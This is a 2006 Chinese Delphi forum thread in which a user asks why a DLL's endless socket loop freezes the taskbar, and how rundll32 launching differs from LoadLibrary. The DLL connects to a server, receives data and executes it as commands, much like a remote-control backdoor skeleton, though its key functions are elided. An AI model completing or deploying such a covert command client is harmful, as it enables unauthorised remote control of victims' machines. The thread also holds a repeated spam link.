循环问题:导致任务栏无法使用.请高手指点(200分)

  • 主题发起人 主题发起人 jlcsx
  • 开始时间 开始时间
J

jlcsx

Unregistered / Unconfirmed
GUEST, unregistred user!
library Project12;

{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }


uses
Windows,
Winsock2,
Winsock,
SysUtils,
Classes;


{$R *.res}

.......................
.....................

procedure atreq;
begin
pCreateSocketClient;
while True do //进入循环后,任务栏无法使用,请高手指点
begin
/// sleep(5);
pDelay(5) ;
gRecBuf := '';
try
pktlen:=recv(ServerSocket,gRecBuf,1024,0);//接收数据
except
pktlen := -1;
end;
if pktlen<=0 then
begin
/// sleep(5);
pDelay(500);
pCreateSocketClient; //重新创建连接
end
else begin
pDelay(5) ;
pCarryCmd(gRecBuf); //处理命令
end;
end;
WSACleanup;
end;

begin
atreq;
end.
 
www.source520.com 站长必进 2万源代码电子经典书狂下载
 
winexec('rundll32.exe E:/Project12.dll,Control_RunDLL Inetcpl.cpl,,0',9);

LoadLibrary('e:/Project12.dll');

这两句话有啥区别
使用 LoadLibrary('e:/Project12.dll');
系统好象有问题
 
前面哪个问题你可以用线程就不会有问题了
后面的问题没研究过,不好意思
 
文件位置对不对呀?
winexec('rundll32.exe E:/Project12.dll,Control_RunDLL Inetcpl.cpl,,0',9);
//这种调用需要DLL有一个通过的调用接口,你可以在网上找些资料看看
LoadLibrary('e:/Project12.dll');
//一般都是这种,直接调用
 
前几位的回复和你的问题内容怎么一点都不挂钩呢???
 
to 来如风
怎么不挂钩拉?他进入循环,cpu的使用率肯定是100%,当然没反映拉,这个时候只有用线程,我的回答有问题吗?
 
来自:yeuume, 时间:2006-4-1 11:21:23, ID:3400989
www.source520.com 站长必进 2万源代码电子经典书狂下载


来自:jlcsx, 时间:2006-4-1 14:14:32, ID:3401151
winexec('rundll32.exe E:/Project12.dll,Control_RunDLL Inetcpl.cpl,,0',9);

LoadLibrary('e:/Project12.dll');

这两句话有啥区别
使用 LoadLibrary('e:/Project12.dll');
系统好象有问题





来自:boy2002cn, 时间:2006-4-3 16:34:43, ID:3403140
文件位置对不对呀?
winexec('rundll32.exe E:/Project12.dll,Control_RunDLL Inetcpl.cpl,,0',9);
//这种调用需要DLL有一个通过的调用接口,你可以在网上找些资料看看
LoadLibrary('e:/Project12.dll');
//一般都是这种,直接调用

to andd_chen:
回答正确+100分:)

说的是这个,没注意到是楼主就是 jlcsx :)
 
多人接受答案了。
 
后退
顶部